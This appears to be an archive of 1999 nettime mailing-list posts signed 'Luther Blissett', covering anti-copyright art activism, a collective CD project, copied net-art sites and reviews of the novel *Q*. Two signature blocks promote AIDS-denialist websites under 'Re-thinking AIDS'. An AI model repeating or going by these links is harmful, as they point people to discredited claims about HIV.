- English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Tue, 14 Sep 1999 15:28:11 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199909162029.QAA30840 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9909/msg00100.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> The mask of Zorro"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00058",
                "content": "\nMAN, WE'VE HAD A LONG WAIT FOR IT!\nFINALLY, THE CD BY LUTHER BLISSETT, THE OPEN POP STAR!\nA collaborative project - details below!\n \n\n\"At the beginning, the matter was not to be 'I' or 'myself' anymore, to\nbecome a 'whoever' singularity, and then turn to a multitude of 'whoever'\nsingularities that would choose this impersonal name, 'Luther Blissett'. \nWhen Luther would say 'I' or 'myself', s/he was actually telling us about\nhis/her *numberless* selves. \nNow that Luther says 'I am not me anymore', s/he's referring to the fact\nthat all those selves are no longer... themselves. You may keep calling\nthem 'Luther Blissett', but they are no longer the same Blissett as they\nwere, and if they turn around when you call them, that's just because your\nvoice is music.\" \n(A sentence uttered by Luther Blissett at a celebration party organized by\nfans)\n\n\t*  *   *\n\nAt the beginning of 2000, some of the informal groups historically involved\nin the Luther Blissett Project - especially active in Bologna and Rome,\nItaly - will celebrate the expiry of their direct involvement (which was an\nold-fashioned Five Year Plan), stop adopting the name and leave other\npeople with the task of taking the myth higher. Subversion continues, and\nBlissett too, without all that dago ballast. \nThis will be remembered (at least by us) as \"The Big Seppuku\". The future's\nso bright that we've got to wear shades. Details will follow.    \n\nIn order to celebrate this handover (from anyone to whosoever), Dutch\nrecord label WOT4 will release a CD by Luther Blissett the open pop star\nLuther Blissett.\nThe \"open pop star\" is none other that the community of bands, musicians\nand djs willing to participate and send us one or more tracks. Rather than\na compilation, it's going to be the output of one eclectic, multi-styled\nand multi-headed performer.\n\nWe call on all bands and composers whose discourse and praxis are similar\nor close to Blissett's: send us tracks! \nWe also invite all multiple name bearers and fifth columns of the Project\nto forward this message to people who may be interested.\nWe put our trust in our network's collective intelligence.\n\n\n1) Technical details\n\nThe deadline is October 10th - media and formats: send DAT or CD by snail\nmail,  or MP3 files via e-mail. Good quality required.\nThe album will have absolutely NO COPYRIGHT, collaborations are no profit.\nThe CD will be signed Luther Blissett. Bands and single performers shall\nnot be credited as authors of the tracks; rather, they'll be mentioned as\n\"guest stars\" in the acknowledgements list. An example [we'll pick up a\nband at random, one we'd like to abduct for the project] : \"I wish to thank\nNocturnal Emissions for their kind participation to [track title]\" etc. etc.  \n To sum up, bands are exhorted to become Luther Blissett for the duration\nof a track. Tracks shouldn't be longer than 4 minutes.\n\n\n2) \"Artistic\" details (Aaaaarrrgh!)\n\nLuther Blissett is an eclectic composer. That's his/her music ranges from\ndrum'n'noise to symphonies, from jazz to Oi!, not only from one track to\nthe next, but also (if you like) within the single track. We'd like a\nplenty of different styles, to release a rich and dense product.\nIf possible, throw interesting voice samples into your track(s), no matter\nthe language. Some of the tracks will include samples from Mario Schifano,\nPiero Cannata and Stewart Home, excerpts from radio broadcasts, ramblings\nagainst Identity, etc. However, this is just a suggestion - all-musical\ntracks and songs will be heartily accepted.\nThe track list will be decided by the editors. \n\n3) Collaterals and packaging\n\nThe CD will also contain ROM tracks, and will be accompanied by a booklet -\nthus, it is possible to send short writings and multimedia stuff (e.g.\nvideo files, icons, net-art...).\n\nFor more info, contacts, etc.: \nmailto:sleena {AT} tiscali.net,ndr {AT} ecn..org?subject=LutherBlissettTribute\n\nDAT tapes and/or CDs must be sent (by October 10th) to:\n\nRoman Psychogeographical Association\nc/o Vazquez\nVia del Pellegrino 96\n00186, Roma\nItaly \n\n\n\nhttp://www.syntac.net/lutherblissett\nlast update: August 1999\n\nhttp://www.LutherBlissett.net\nThe (in)Complete Archives (mostly Italian, for the time being)\n\n...It means only that Luther Blissett is an open star with no limits, who\ncan be in a number of places at the same time. Better than Santa Claus\nbecause Santa Clauses are the same. They look the same, they do the same\nthings. I never met a Santa Claus with no beard, no red uniform. Red\nSanta's existence is subject to a short period of time and h appiness. Who\ncares about Santa Claus after Christmas ? And does Santa try to rupture the\nendless sameness of life? \nI'm not anti-Santa. I am Luther Blissett. I have this firm belief that\nanyone can become and be Luther Blissett. Each of us has to discover that\nLuther Blissett self in an individual, proper way. You have to find your\nindividual Luther Blissett potential. \n\nLuther Blissett, *The Rosicrucian Book* 1984 \n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Mon, 16 Aug 1999 03:44:27 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199908160744.DAA27282 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9908/msg00058.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> CD: Luther Blissett Tri"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <12345 {AT} net27.it>",
                "id": "00089",
                "content": "\n[Luther Blissett is NOT 0100101110101101.ORG, I just wrote an article\n(art.hacktivism)  about him/them/her, the Mirapaul's article is good but\nhe has done a lot of confusion between Luther Blissett and\n0100101110101101.ORG, so, if you want to talk with Luther Blissett write\nme back, but if you want to talk with 0100101110101101.ORG please mail to\nsomebody at 0100101110101101.ORG]\n\n---------------------\n\n\nfrom the \"New York Times\" on the web, \"arts {AT} large\"\n\nhttp://www.nytimes.com/library/tech/99/07/cyber/artsatlarge/08artsatlarge.html\n\nJuly 8, 1999\n\nBy MATTHEW MIRAPAUL\n\n\nAn Attack on the Commercialization of Web Art\n\nRichard Rinehart thinks he may be next the next victim, and that's all\nright with him. \n\nLast week, Rinehart sold a copy of his Web-based art work \"An Experience\nBase -- A Boolean Typhoon\" for $52.50 on the eBay auction site, making him\none of many digital artists exploring the commercial potential of their\nonline efforts. But the sale makes him a likely target for activists who\nin recent months have been attacking such artists by copying their sites. \n\nOperating under the pseudonym \"Luther Blissett,\" the person or group has\nalready duplicated two digital-art sites, the \"Surface\" showcase organized\nby HELL.com and the Art.Teleportacia online gallery, and posted the\nreplicas on the Web site 0100101110101101.org. \n\nIn e-mail messages sent to arts discussion groups online, \"Blissett\"\nexplained that the actions were based on \"the conviction that information\nmust be free\" and the hope that the Web would be a no-copyright paradise\nwhere digital art would not \"regress\" by adhering to traditional art-world\nmodels of ownership and economics. \n\n\"Anyone can spin this any way they want, but in the final analysis, it is\njust simple theft,\" said Kenneth Aronson, the founder of HELL.com. \"It's a\npublicity stunt to create awareness for a bunch of people who have no\napparent talents.\" \n\nLuther Blissett was a British soccer player whose name has been\nappropriated by a number of media pranksters and cultural guerrillas. The\n0100101110101101.org site is registered to an address in Bologna, Italy,\nbut a Luther Blissett Project site is hosted on the server for\nIdiosyntactix, a Toronto-based arts alliance. \n\nDmytri Kleiner, an Idiosyntactix member, said his group supports the\nactivists and supplies server space for them, but has not been involved in\nduplicating the sites. \n\nAttempts to contact the activists via e-mail yielded only silly, off-topic\nreplies, even less illuminating than the muddled manifestos that were\nposted to the arts discussion lists. Still, the copied sites highlight the\nchallenges that digital artists will face in trying to assign a value to\ntheir easily reproduced work. \n\nThese issues are part of what prompted Rinehart, an artist in Berkeley,\nCalif., to put \"An Experience Base\" up for bid on eBay. At the end of the\n10-day auction, Robbin Murphy, a New York artist and co-founder of the\nartnetweb site, made the top bid of $52.50 to acquire a clone of the\ndigital original. \n\nRinehart said: \"Is $52.50 the true value of the work? Well, it doesn't\nneed to be, because I sold a copy of the work to Robbin, not exclusive\nownership rights. I sold the only form of property relevant in the\n'e-verse:' intellectual property. Maybe digital artists could make up in\nvolume at low prices what they lose in uniqueness at high prices.\" \n\nBut supporters of \"Blissett's\" tactics maintain that intellectual property\nis an elusive commodity. Referring to the creators of the HELL.com\nproject, Kleiner said, \"I refuse to admit they have any intellectual\nproperty. They're just slightly modifying the intellectual property that\nwe all share. In fact, they're threatening to steal it and package it as\ntheir own.\" \n\nHELL.com is a private Web space for creative collaboration by artists, but\nthe \"Surface\"  showcase was opened to invited guests earlier this year as\na prelude to its contributors' plans to launch a pay-per-view Web event\nlater this year. \n\nIn May, the activists put the contents of \"Surface\" on\n0100101110101101.org, as well as a playfully modified version of the\nonline introduction to the HELL.com site. Calling it \"cute,\" Aronson\npointe out to the activists that the site was violating copyrights and\nasked for the material to be removed. It remains there. \n\n\"It's thumbing your nose at the 'digerati' kind of elitism,\" Kleiner said. \n\nBut Rinehart said the activists might be falling prey to their own\narguments. He said he disagreed with \"their narrow definition of the\nInternet as being purely a chaotic and idealistic free-for-all.\" \n\n\"Well, some of it is, but other parts are surely not,\" he said. \"The Net\nand Net art are both big enough to contain many types of practice. I agree\nthat it's important that we protect the 'free' part strongly, but not that\nwe should become equally elitist and obnoxious dogmatists and declare that\nonly one type of art is right.\" \n\nAuriea Harvey, a New York artist and a \"Surface\" participant, took a\nsimilar stance, but said she was untroubled by the site duplication\nitself. \n\n\"Every time someone looks at anything on the Web, a copy is made\" in a\nbrowser's cache folder, she said. \"I've even seen some masterful remixes\nof my own work online. Who cares about copying? If you don't want\nsomething stolen, don't put it on the Net.\" \n\n\"The problem I had was with this dippy and short-sighted notion that it is\nsomehow wrong or anti-Net to try out new forms of presenting and\ngenerating revenue from your work as an artist,\" Harvey said. \"A world\nwhere Net art as Luther Blissett wants it to be would be very boring\nindeed. Out of their chaos comes stagnation.\" \n\nHarvey herself just bought a digital art work, Olia Lialina's \"If You Want\nTo Clean Your Screen,\" from Art.Teleportacia, the first online gallery\nwhere Internet-based art is for sale. Last month, the Blissett activists\ncopied the site's files, altered them somewhat and reposted an\n\"anti-copyright\" version on 0100101110101101.org. Lialina, who operates\nthe site, said she liked the copy so much that she included a link to it\nin the \"Under Construction\" section of the gallery. \n\nThis is not the first time that an art site has been copied to make a\npoint. In 1997, the Slovenian artist Vuk Cosic captured the contents of\nthe Web site for the Documenta art exhibition, held every five years in\nGermany. That show's official site was taken down, but a facsimile\nsurvives on Cosic's site. Although Cosic remains mum on his reasons for\ncopying it, creating a permanent online presence for a temporary\nreal-world event has some artistic merit. \n\nFor his part, Rinehart now figures he is tempting fate. Even before he was\naware of the \"Blissett's\" endeavors, he included a \"Copyright\" section in\nhis piece. In it, he urges visitors to \"steal this Web site\" and gives\nexamples of the flexible interplay between copyright and creativity in the\nart world. \n\nWould it bother him if the work became part of the collection at\n0100101110101101.org? \n\n\"I wouldn't care that much, although I may take a little wind out of their\nsails with some of the examples,\" Rinehart said. \"I think their experiment\nis also worthy, purely by way of exploring new options. More power to\nthem. But it leaves me a little less interested than some other art\nactivities I've seen.\" \n\nRinehart noted that there may be a side benefit if his work reappears\nthere. \"Perhaps getting hacked onto their site will become a form of honor\namong digital artists, maybe even raising the price of their original\nworks.\" \n\n\n\n\nRelated Sites\n\nAn Experience Base -- A Boolean Typhoon\neBay\nartnetweb\nHELL.com\nArt.Teleportacia\n0100101110101101.org http://www.0100101110101101.org\nLuther Blissett Project http://www.syntac.net/lutherblissett\nIdiosyntactix http://www.syntac.net\nAuriea Harvey's Entropy8\nDocumenta\nVuk Cosic's DocumentaX\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Sun, 25 Jul 1999 05:07:35 +0200",
                "to": "NETTIME-L {AT} bbs.thing.net",
                "message-id": "199907251807.OAA15100 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00089.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> An Attack on the Commercialization of Web Ar"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00101",
                "content": "\nThe German publishing house Piper Verlag has bought *Q*'s rights of\ntranslation for 120,000 DMs, which is the highest offer Einaudi has ever\ngot from Germany. Such an investment makes you think, there will probably\nbe a big and stylish launch on the German book market.  As to the Spanish\ntranslation, Grijalbo publishing house is already at work on the text.\nThis is the open letter we authors sent them a few weeks ago (back then,\nwe hadn't yet got an agent - now we've got him, and *he* is the guy\ndealing with the - alas, partial - waiving of copyright) : \n\n\n\nDear Mr. Claudio Lopez\n\nWe are glad to hear that Einaudi and Grijalbo came to terms about *Q*'s\nSpanish edition. We are writing to remind all the parties involved of a\nvery important detail. Since the beginnings of the Luther Blissett Project\n- for obvious reasons related to the nature and media strategy of this\nmultiple name - all books authored by \"Luther Blissett\" (both in Italy\nand, e.g. Germany [the reference is to the *Handbuch der\nKommunikationsguerilla*, t.n.]) were published with formulas waiving\ncopyright, either totally or partially. All \"Luther Blissett\" output is an\never-changing result of a collective process of network creation and\nre-elaboration. If Grijalbo intends to strictly observe the international\nlaws on copyright, this would be perceived by every multi-use name bearer\nas an unnatural strain.  As the old \"Net.gener {AT} tion\" affair proved [see\n<http://ww.syntac.net/lutherblissett/mondadr.html/>], Luther Blissett's\ntransnational network is perfectly capable to reject and boycott a work by\nthe Multiple that is not freely reproducible, at least by single persons\nor for non-commercial purposes.  *Q*'s Italian edition carries the\nfollowing wording: \"Partial or total reproduction of this book, as well as\nits electronic diffusion, are consented to the readers for non-commercial\nuse\". We augur that all the involved parties agree about the insertion, in\nthe Spanish edition, of a similar wording in Castillan.  Thanks in\nadvance, and greetings from\n\nLuther Blissett\n(th authors of *Q*)\n----------------------------------------\n\nReturn-Path: <claudio {AT} grijalbo.com>\nDate: Mon, 28 Jun 1999 09:27:30 +0200\nFrom: CLAUDIO LOPEZ <claudio {AT} grijalbo.com>\nTo: luther {AT} syntac.net\nSubject: Re: Traduzione di Q in castigliano\nContent-Disposition: inline\n\nNessun problema. Es un placer poder editar Q en lengua espa\u0144ola. Gracias\npor todo y hasta pronto.\nUn saludo muy cordial,\nC.\n\nhttp://www.syntac.net/lutherblissett\n\n\n'Never been to a cinema school, never learnt the cinematographic technique.\nIt's by chance that I entered this profession. Simply, I had the urge to\ncreate something, either a text, either a film, by any means. I wished my\ndesires to come true, for example the desire to kill cops. I cannot do this\nin real life, of course. But in a film I can exterminate a huge number of\ncops all at once. There you are, I started making movies for a very crude\nmotive.' (Koji Wakamatsu)\n\n\nRe-thinking AIDS:\nhttp://www.duesberg.com\nhttp://www.virusmyth.com/aids/index.htm\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Tue, 27 Jul 1999 16:04:39 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199907271323.JAA21800 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00101.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Anti-copyright stance of *Q*'s authors"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00100",
                "content": "\nKlasse Kriminale, Sham 69 and Luther Blissett United in Struggle!\n\nKlasse Kriminale & Luther Blissett\n*Mind Invaders*, vynil 7'', 33 RPM\n1999, Mad Butcher Records, \nBergfeldstrasse 3, 34289 Zierenberg, Germany\nhttp://www.pader-online.de/madbutcher\n\nThe legendary Italian Oi!/punk band Klasse Kriminale have re-recorded\ntheir last year 7'' titled *Mind Invaders* (mind-slashing lyrics written\nby Luther Blissett), and re-issued it with a new cover (a Blissett whose\nface and clothes are a precarious synthesis of different youth\nsubcultures). An old-fashioned jewel for the many fans of vynil records. \nThe song was re-recorded at the Hach Farm Studios in Hersham, London, and\nproduced by Jimmy Pursey, singer and leader of Sham 69 - possibly the most\nimportant street punk band ever. Pursey wrote the notorious skinhead\nanthem *If the Kids Are United* (which was later covered by thousands of\nbands all around the world). Now the track has a more solid sound and, at\nthe end of the tune, you hear Stanley Kubrick's *Spartacus* peak scene,\nwith all the captured slaves yelling: \"I AM SPARTACUS!\". That scene was\ncited numberless times in Luther Blissett's writings and video\nproductions. The funny thing is that Klasse Kriminale used the\nItalian-dubbed edition of the movie!  The cross-fertilization between\nLuther Blissett and Klasse Kriminale is yet another statement of creative\nfreedom, against all absurd stereotypes about skinheads being unable to\ncriticize identity, and the Luther Blissett Project being just an evasive\nheap of technophiles and apologists of the \"Immaterial\". Actually, among\n\"historical\" subcultures, nowadays skinheads are possibly the most active\nscene on the Net (command a query on Altavista and you'll see with your\nown eyes), while in the LBP - where a bunch of style-conscious guys has\nalways had connections with the Mod and Skinhead scenes - many people lay\nthe stress on a necessary insurrection of bodies, on being street-wise and\nmartial. Incidentally, I must say that Klasse Kriminale - just like the\nLBP Bologna column - are committing a \"Seppuku\" (samurai ritual suicide).\nTheir *1st Class Kriminale* newsletter (whose heading is a detournement of\nthe Calvin Klein logo) bears this motto: \"We can't fucking stand Klasse\nKriminale anymore... Klasse Kriminale are dead... Long live Klasse\nKriminale\".  It is worth translating and reproducing the lyrics of the\nsong. We also remind that the multi-use title *Mind Invaders* derives from\nan imaginary noise-rock band \"founded\" by Piermario Ciani and Chris Lutman\nin the early Eighties. Later, *Mind Invaders* became the title of both the\nfirst book authored by LB in Italy (1995) and an anthology of cultural\nguerrilla warfare and \"semiotic terrorism\" edited by Stewart Home\n(Serpent's Tail, London 1997).  \"My name is your name / Without names\neverybody is free / One name for the whole world / One name for the music\n/ United, united, so much united / that we don't even have names / If they\ndon't recognize us they won't emprison us / If they can't distinguish us,\nthey won't knock us down / YOU ARE ME, I AM YOU / WITHOUT NAMES,\nEVERYBODY'S FREE/ IF THEY DON'T RECOGNIZE US THEY WON'T EMPRISON US / IF\nTHEY CAN'T DISTINGUISH US THEY WON'T KNOCK US DOWN/ I am Nobody, you are\nNobody / like Ulysses vs. the Cyclop / if I am nothing I'll be free/ if\nyou are nothing you'll be free / YOU ARE ME, I AM YOU / WITHOUT NAMES,\nEVERYBODY'S FREE/ IF THEY DON'T RECOGNIZE US THEY WON'T EMPRISON US / IF\nTHEY CAN'T DISTINGUISH US THEY WON'T KNOCK US DOWN!\"  Collectors,\nmulti-use name bearers, fans: order the single via the mail, by sending an\ninternational money order (7 euros) to: Klasse Kriminale, c/o Marco\nBalestrino, c.p. 426 centrale, 17100 Savona, Italy For more info and\ndirect contacts: kkconnection {AT} angelfire.com\n<http://www.angelfire.com/ok/klassekriminale/>\n\nhttp://www.syntac.net/lutherblissett\n\n\n'Never been to a cinema school, never learnt the cinematographic\ntechnique.  It's by chance that I entered this profession. Simply, I had\nthe urge to create something, either a text, either a film, by any means.\nI wished my desires to come true, for example the desire to kill cops. I\ncannot do this in real life, of course. But in a film I can exterminate a\nhuge number of cops all at once. There you are, I started making movies\nfor a very crude motive.' (Koji Wakamatsu) \n\n\nRe-thinking AIDS:\nhttp://www.duesberg.com\nhttp://www.virusmyth.com/aids/index.htm\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Tue, 27 Jul 1999 16:04:51 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199907271322.JAA21793 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00100.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Klasse Kriminale & Luther Bliss"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00102",
                "content": "\nThe following text is an excerpt from a long review written by Franco\n\"Bifo\" Berardi. It is going to be published on the pilot issue of Exit, a\nnew Italian magazine.  ---------\n\nIn Thomas Pynchon's *Vineland* we already experienced this feeling - of\nbeing in a post-historical time-space where nothing happens anymore,\nnothing but an absurd hanging on along the past's edge. A daughter\n(Prayrie) reconstructs an indecipherable past from the fragments and rags\nleft behind by her parents' generation. That past is indecipherable\nbecause Zoyd and Frenesi (i.e. Prayrie's father and mother) can no longer\nprovide clues for the puzzle: Zoyd makes a living out of simulating\naccidents, and is also on welfare for partial insanity. As to Frenesi, she\nkeeps embarking on troublesome enterprises.\n\nAnd yet *Vineland* is still a contemporary novel - I mean, it hasn't been\nwritten by someone of the \"post-generation\", because Pynchon, the greatest\nunknown man of our times, (although we don't know precisely how old he is) \nmost likely belongs to the psychedelic broom.  Pynchon has paved the way\nfor Luther Blissett's faceless name, and yet he is still settled in the\ncentury of historical tragedy.  Now, however, we are witnessing the\nrelease of the following generations' early greater narratives. Mind you,\nI mean: 'following' modern history and modern Humanism.  At the end of the\nKosovo war springtime, that springtime during which students hadn't\noccupied any Italian, French or German university, I read two\nextraordinary novels: Michel Houellebecq *Les Particules elementaires* and\nLuther Blissett's *Q*.  These two books have just one feature in common:\nthey are written by people looking in from the outside (indeed, from two\nutterly different outsides).  The viewpoint I am talking about is the\nspace-time where action has become uncontrollable and meaningless. Yet,\nthe two landscapes could not be more different: while Houellebecq's book\nis desperate and sad, Luther Blissett's is desperate and happy. [...] *Q*\nand *Les Particules elementaires* are the first novels whose\npost-historicality and post-identitarianism are utterly conscious, though\nidentity is dissolved in two opposite ways: Houellebecq's dis-identity\nreplaces individuals (names and surnames, personal and collective stories) \nwith the aggregations and disgregations of biological becoming and\ndecompositon. Such dis-identity is degrading, the basic particles move\nabout looking for the individual's consistency, something that's\nirremediably gone.  On the contrary, LB's dis-identity is awareness of the\nlanguage's becoming, mutation of roles, becoming community, bodies meeting\nup with one another, desertion and going adrift. \n\n\t\t\t***\n\n\"Now I turn around when people call me Gustav... I've got used to a name\nwhich is not more 'mine' than any other\". \n\n*Q* is a book that comes after history... And see how these dis-identitary\npirates skillfully master history, with the contempt of those who took a\nlook through the idealistic fabric - through civilization, religion and\npolitics. Idealism is the condiment of mankind's cannibalistic meal. It is\nthe pepper and salt of both history's violence on bodies and men's\nviolence on women.  First of all, I must say that *Q* is written with a\nwonderful masterly skill. The recombination of time is not simply a series\nof flashbacks - it is a fold-in of temporal strata whose double,\nsubjective sequence is composed of Gert tom Kloster's passionate look and\nQ's police-like and political one.  Although the book is very lenghty and\nthick (more than six hundred pages), the plot flows quick and involving. \nSecondly, I must say that *Q* is impressively rich from a philosophical,\nethical and political point of view.  The ground stalked by all these\nprecariously named characters is that of the frenzy and madness produced\nby an historical change in the infosphere, the invention and spreading of\na new information technology, that is the press, the possibility of\nreproducing texts.  The word is no longer \"volatile\", it acquires an\nunprecedented power thanks to the invention of flyers, flugblatten.\nPeasants and craftsmen receive undisputably striking messages. The word\nbecomes matter, and history.  All the madness, fanaticism and wicked\nviolence of modern class war, and also its devotion and generosity, spring\nout from messages whose path is no longer mouth->ears - rather, it is\nhand-to-hand, and their readers grasp them as the Word, the Scriptures,\nthe Truth. If the Bible is printed, then any printed text is bible. The\nScriptures spread themselves around, they are no longer exclusive property\nof the Power - everybody can spread the word, and turn the word into flesh\nThere is a logical shift in the relationship between the infosphere and\nthe mind. The printed word gets into circulation is social milieux that\nare accustomed to oral tradition - those people interpret the text in\nmythological, strongly picturesque ways.  Communitarian mythology arises\nfrom the ashes of oral culture and overlaps with the critique of the\nPower, turning the critique into a new dogmatism and revolt into a\ntotalitarian power. This overlap is the origin of all the delusions that\nhave tormented the proletarian community for almost five centuries.  The\nradical critique of the world turns into the mythology of the Kingdom,\nautonomy turns into dialectics, the insurgents become victims,\npleasure-loving bodies turn into meat in the slaughterhouse of history. \nLuther Blissett's novel depicts the tragedy of the proletarian community\nduring the last five centuries, the modern age.  The novel is set in early\n16th century Germany, a few years after the beginning of protestant\nReformation, precisely during the Peasant War.  Through the plot we can\nsee the stories of our 1960's and 1970's - first the exhilarating creation\nof communities by the force of our discours, by the shared pleasures of\nflesh and mind, then a tragic armed confrontation, fanatical violence in\nthe name of ideals, and finally police repression.  I don't know if some\nof the numberless reviewers noticed that *Q* is the first Italian novel\n(and even the first European one, as far as I know)  handling the\nexperiences of libertarian and autonomous movements, and then of\n\"terrorism\", laying the stress on the latter's inextricable tangle of\ntotalitarian fanaticism and state provocation.  It is from this point of\nview that *Q* is a desperate novel. There's no hope in history, there's no\nhope in dialectics. When the movement arising from everyday life\ndesignates itself as an avenging judge, when utopia takes the place of\nlife, here comes the spectre of identity, and the rebellious body is\nimprisoned by sacrificial idealism. Then, the boss recognizes the rebel's\nface, and hits it hard.  In Luther Blissett's novel there's no hope, and\nyet there can be happines.  It is an Epicurean novel, nay, a Spinozist\nnovel. Happiness is in the pleasure of meeting each other, in the contact,\nthe caress, in words playing games with no pretence to Truth.  Eloi, the\nAntwerp roof-maker who organizes an egalitarian community based on the\nrefusal of armed violence, is the prototype of a whole generation of\ninsurgents who did not want to seize power, nor did they want victory or\nrevenge. Those people are usually sucked into the pit of assassin history,\nowing to their fanatic and sex-repressed brothers, who found parties,\norganize insurrections, provoke massacres and create totalitarian states. \n\"Ursula is something I won't feel anymore, Melancholy, engraved on my\nflesh and soul. I look at her, she says: 'You are not like Hoffmann, you\ndo not expect anything. You have a hopeless defeat in your eyes, but you\nare not tormented by resignation - you are tormented by death. You already\nchose life, once.'\" (*Q*, p. 191) Luther Blissett's heroes can be happy,\nprecisely because they don't expect anything, they don't invest their\ndesiring energy in history, the future, a dogmatic truth that is to be\nrealized by sacrificing the flesh. Happiness is only in the present, the\nflesh, the pleasures of contact, the concrete community of bodies touching\neach other and minds exchanging signals.  As far as I know, *Q* is the\ngreatest lesson of irony against fanaticism, ever. \n\n\t\t\t*** I heard that *Q* caused a sensation in the circles of hardcore\nmultiple name bearers. \"What?\", someone said, \"Luther Blissett signing a\ncontract with a major publishing house? Is this the end of the multiple\nname and dis-identity?\". \n\nOn the contrary, that was the final coup de theatre, before the planned\nmelting into thin air. First of all, there can be no \"hard core\" of\nfaithful Blissetts, because LB is a prank pulled on faith. Secondly, if\nidentity stillness must be radically contradicted, why not make happen a\nthing like that? Now, the same mechanism that caused a thousand changes in\nthe relationship name-subject is causing the umpteenth and final change: \nthose who have pig-headedly avoided the \"Author\" mythologies and logics\nfor such a long time, have the freedom to act as \"authors\", the best\nauthors there are. Hats off for comrade Luther Blissett, whoever s/he is.\nLuther Blissett emerges as the most important thing happened in 1990's\nItalian culture.  He displayed a brilliant critique of politics - critique\nof literature - critique of critique, while managing to produce the best\npolitics, the best literature, the best critique. This is pure life,\npleasure of the struggle, pleasure of language, pleasure of a community\nthat flows and keeps changing instead of fossilizing.  And now? What is\nLuther Blissett going to do after the end of their Five Year Plan? [*] Hic\nRodus hic salta?  What will you do, fellas? What shall we all do?  I greet\nyou. Hopelessly. Happily. \n\nBologna, June 1999\n\n[*] This only concerns the older milieux of the Italian Luther Blissett\nProject. Of course, everybody will still be free to adopt the name.\n\n\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "date": "Tue, 27 Jul 1999 16:05:38 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199907271324.JAA21808 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9907/msg00102.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Bifo on Luther Blissett's *Q*"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <luther {AT} syntac.net>",
                "id": "00108",
